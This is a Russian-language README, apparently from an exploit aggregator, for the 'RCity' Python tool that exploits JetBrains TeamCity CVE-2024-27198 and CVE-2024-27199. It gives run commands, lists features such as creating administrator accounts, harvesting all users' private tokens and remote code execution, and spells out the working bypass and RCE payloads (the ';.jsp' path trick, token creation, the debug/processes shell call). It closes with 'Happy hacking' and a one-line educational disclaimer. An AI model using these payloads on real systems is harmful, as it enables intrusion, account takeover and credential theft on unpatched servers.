## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-STUUB-RCITY-CVE-2024-27198
# RCity - CVE-2024-27198 (RCE & Создание учетной записи администратора) & CVE-2024-27199 (Обход аутентификации)
**Эксплуатация CVE-2024-27198 и CVE-2024-27199**
RCity — это скрипт на Python, который взаимодействует с уязвимым сервером TeamCity. CVE позволяет несанкционированное создание учетной записи администратора, обходя ошибки 403 на домене. А также позволяет достичь RCE через маршрут Debug/Processes.
## Использование
Чтобы использовать скрипт, необходимо указать URL целевого сервера TeamCity в качестве аргумента командной строки с помощью параметра `-t` или `--target`:
root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111
Вы можете увеличить подробность вывода с помощью опции `-v` или `--verbose`:
root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --verbose
Вы можете отправлять одноразовые команды напрямую с помощью опции `-c` или `--command`, **если вам нужен интерактивный shell, НЕ используйте эту опцию.** Она не дружественна к reverse shell, так как соединение закрывается после отправки команды:
root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -c id
Вы можете гарантировать, что никакие POST-запросы не будут отправлены на сервер TeamCity, используя опцию `-s` или `--stealth`:
root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -s
Отключает функцию RCE - всё остальное остается без изменений
root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-rce
Предотвращает сбор списка пользователей, что может быть затратным по времени на больших списках пользователей. Перейдите сразу к RCE с помощью этой опции!
root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-enum
## Возможности
* Создание учетной записи администратора
* Удаленное выполнение кода
* Генерация токенов авторизации
* Перечисление пользователей
* Сбор всех приватных токенов авторизации пользователей
* Получение информации о сервере
## Пример

## RCE

## Генерация токенов

## Документация
Здесь я опишу функции, используемые в этом проекте, чтобы дать вам лучшее понимание этого эксплойта и связанных с ним уязвимостей.
## Предыстория
Природа уязвимости связывает обе CVE-2024-27198 и 99 из-за того, что проблема возникает из-за одного и того же обхода аутентификации для маршрутов REST API на серверах JetBrains TeamCity. Однако воздействие данной уязвимости различается, и становится интересным... CVE-2024-27198 является реальным тяжеловесом на бумаге из-за ее заявленного воздействия RCE, использует конечную точку `/app/rest/debug/processes`, **ТОЛЬКО** с разрешениями для выполнения необходимых запросов к этой конечной точке через токен аутентификации. Этот вызов к этой конечной точке различается между хостами Unix и Windows, однако манипулируется аналогично, единственное отличие — это нативный shell, который вызывается для запроса.
Linux - `processes?exePath=/bin/sh¶ms=-c¶ms={yourRCE_HTMLEncoded}`
Windows - `processes?exePath=cmd.exe¶ms=/c¶ms={yourRCE_HTMLEncoded}`
## Обход аутентификации
Как упоминалось ранее, это невозможно без аутентификации, должно быть безопасно... верно? Вот где вступает в дело обход аутентификации.
Обход политики сборки TeamCity открывает возможность делать запросы к серверу и помещать туда наш токен аутентификации, даже технически не имея своей учетной записи.
Сам обход заключается в создании альтернативного пути к маршрутам REST, который, не вдаваясь в подробности, требует контроля содержимого класса, задача которого обрабатывать запросы, особенно те, которые не являются 302 (перенаправлениями), что затем позволяет нам управлять им, добавляя 3 необходимые части в наш URL.
1. Неаутентифицированная конечная точка, которая не вызовет 302, в нашем случае `/hax`
2. Параметр строки запроса URL с именем `jsp` для запроса маршрутов API, например, путь `users` \- `?jsp=/app/rest/users`
3. Произвольный путь URI, заканчивающийся на .jsp. Это можно сделать, добавив сегмент параметра пути HTTP `;.jsp`
Таким образом, итоговая полезная нагрузка для выполнения неавторизованных запросов к конечной точке пользователей: `/hax?jsp=/app/rest/users;.jsp`
Теперь мы можем делать запросы к конечной точке пользователей и добавлять своих пользователей, даже администраторов!
Однако прежде чем перейти к RCE, нам нужен токен аутентификации, как носитель для наших запросов RCE к их REST API. Теперь, когда у нас есть обход, нет проблем — мы его сделаем!
## Генерация токена REST API --> RCE
Конечная точка токена следовала тому же дереву путей, что и предыдущий пример, её можно найти по адресу `/app/rest/users/id:{user_id}/tokens/{token_name}`. Итак, давайте создадим ещё одну полезную нагрузку, чтобы обойти аутентификацию и создать токен!
_(Мы сами задаём имя токена, для этого скрипта это случайная генерация буквенно-цифровых ASCII-символов)._
`/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp`
После выполнения POST-запроса для добавления токена нашему новому пользователю, мы теперь можем начать делать запросы к маршруту `/app/rest/debug/processes`!
Ничего особенного в создании наших полезных нагрузок RCE, просто закодируйте полезные нагрузки в HTML в аргументе params!
##
**Удачного взлома!**
## References
https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
https://nvd.nist.gov/vuln/detail/CVE-2024-27198
https://github.com/W01fh4cker/CVE-2024-27198-RCE
## Отказ от ответственности
Этот скрипт предназначен только для образовательных целей. Используйте его ответственно и только в системах, к которым у вас есть разрешение на доступ.